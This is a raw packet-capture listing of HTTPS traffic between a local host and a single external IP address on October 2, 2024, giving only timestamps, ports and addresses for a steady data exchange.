Oct 2, 2024 06:11:41.543714046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.543756962 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.543771029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.544148922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.544167042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.544219017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.544224024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.544266939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.546112061 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.546133041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.546227932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.546235085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.546278000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.546665907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.546684027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.546732903 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.546737909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.546780109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.547175884 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.547192097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.547243118 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.547246933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.547286987 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.547591925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.547660112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.547678947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.547713041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.547717094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.547745943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.547765970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.632395029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.632425070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.632467985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.632479906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.632507086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.632519960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.632885933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.632906914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.632945061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.632950068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.632983923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.633003950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.634449959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.634469032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.634511948 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.634517908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.634550095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.634571075 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.634993076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.635011911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.635056019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.635060072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.635096073 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.635109901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.636856079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.636876106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.636931896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.636936903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.637042046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.637042046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.637387037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.637404919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.637444973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.637449026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.637475014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.637494087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.637840986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.637857914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.637892008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.637897015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.637933016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.637953997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.638410091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.638433933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.638493061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.638499022 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.638546944 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.654012918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.723124981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.723153114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.723206997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.723213911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.723248959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.723268032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.723638058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.723666906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.723706961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.723711967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.723751068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.723769903 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.725316048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.725333929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.725390911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.725395918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.725434065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.726011038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.726028919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.726092100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.726097107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.726138115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.727704048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.727720976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.727811098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.727816105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.727854013 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.728064060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.728081942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.728136063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.728142977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.728193045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.728583097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.728601933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.728671074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.728674889 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.728705883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.728724003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.729017019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.729033947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.729074001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.729078054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.729104996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.729127884 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.813855886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.813879967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.813946009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.813961029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.813997984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.814011097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.814337969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.814357042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.814418077 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.814424038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.814466953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.816039085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.816055059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.816095114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.816099882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.816132069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.816148996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.816647053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.816662073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.816710949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.816715956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.816746950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.816761017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.818257093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.818272114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.818358898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.818365097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.818404913 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.818861008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.818876028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.818938017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.818943977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.818988085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.819349051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.819370031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.819410086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.819417000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.819458008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.819832087 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.819848061 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.819895983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.819900990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.819936037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.819950104 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.904469013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.904485941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.904642105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.904649019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.904690981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.905093908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.905122995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.905162096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.905167103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.905209064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.905225039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.906692982 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.906708002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.906765938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.906770945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.906810045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.907357931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.907376051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.907417059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.907423973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.907455921 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.907471895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.908967018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.908982038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.909095049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.909101009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.909143925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.909593105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.909609079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.909657955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.909663916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.909707069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.909965038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.909980059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.910033941 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.910038948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.910079002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.910250902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.910267115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.910316944 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.910322905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.910367012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.968168020 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.995734930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.995760918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.995809078 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.995815992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.995862007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.996416092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.996433020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.996468067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.996474028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.996503115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.996522903 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.997733116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.997747898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.997783899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.997788906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.997819901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.997838974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.998142958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.998158932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.998193026 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.998198032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:41.998229980 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:41.998243093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.000039101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.000053883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.000088930 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.000093937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.000128984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.000144958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.000684977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.000704050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.000777960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.000783920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.000838995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.001152039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.001187086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.001218081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.001224041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.001250982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.001260996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.001840115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.001856089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.001925945 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.001931906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.001986980 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.086246967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.086266041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.086374044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.086380959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.086422920 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.086663008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.086713076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.086724043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.086730957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.086760998 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.086780071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.088289022 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.088306904 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.088372946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.088378906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.088418961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.088783979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.088799000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.088834047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.088838100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.088871956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.088881016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.090760946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.090789080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.090858936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.090908051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.090931892 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.090945005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.091443062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.091460943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.091506004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.091532946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.091546059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.091819048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.091840029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.091876030 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.091883898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.091897011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.091928959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.092305899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.092334986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.092350006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.092386007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.092391968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.092406034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.092437029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.183873892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.183897972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.184031963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.184048891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.184098959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.184338093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.184355021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.184398890 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.184410095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.184449911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.184668064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.184686899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.184739113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.184743881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.184784889 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.185244083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.185261011 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.185316086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.185327053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.185364962 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.185762882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.185785055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.185820103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.185826063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.185849905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.185867071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.186227083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.186243057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.186276913 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.186281919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.186336040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.186805964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.186821938 CEST	443	49723	167.114.14.168	192.168.2.8
